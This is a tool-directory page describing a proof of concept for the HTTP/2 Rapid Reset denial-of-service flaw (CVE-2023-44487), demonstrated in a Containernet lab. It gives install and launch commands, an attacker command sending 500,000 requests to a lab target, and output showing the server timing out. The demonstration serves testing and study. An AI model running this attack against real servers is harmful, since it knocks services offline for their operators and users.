Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
HTTP-2-Rapid-Reset-DDos — PoC for HTTP/2 Rapid Reset DDoS Vulnerability - CVE-2023-44487 | Kitploit
Tools/GitHubGitHub/regelepuma/http-2-rapid-reset-ddos
Vulnerability AnalysisExploitationWeb SecurityNetwork SecurityPenetration Testing
GitHubregelepuma/http-2-rapid-reset-ddos

HTTP-2-Rapid-Reset-DDos

PoC for HTTP/2 Rapid Reset DDoS Vulnerability - CVE-2023-44487

View Repository
17 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

HTTP/2 Rapid Reset DoS Attack

Description

This project demonstrates the HTTP/2 Rapid Reset Denial of Service (DoS) attack using a custom network topology created with Containernet. The attack exploits vulnerabilities in the HTTP/2 protocol to overwhelm a target server, rendering it unresponsive.

Topology

topology

Installation

To install the necessary packages, run the following commands:

root@kitploit:~
./install.sh

To change the default installation directory, you can modify the INSTALL_DIR variable like so:

root@kitploit:~
INSTALL_DIR=/custom/path ./install.sh

Usage

To start the infrastructure, run the following commands:

root@kitploit:~
source ~/.containernet/containernet/venv/bin/activate sudo -E env PATH=$PATH ./topo.py

To start the attack, execute the following command in the attacker container:

root@kitploit:~
./attacker -url='https://modern.art:443/api' -requests=500000

After a few moments, when you try to access the website using curl, it becomes unresponsive.

root@kitploit:~
root@attacker:/attacker# curl -k https://modern.art/
curl: (28) SSL connection timeout

To stop the infrastructure, simply enter exit in the terminal where topo.py is running.

Download Tool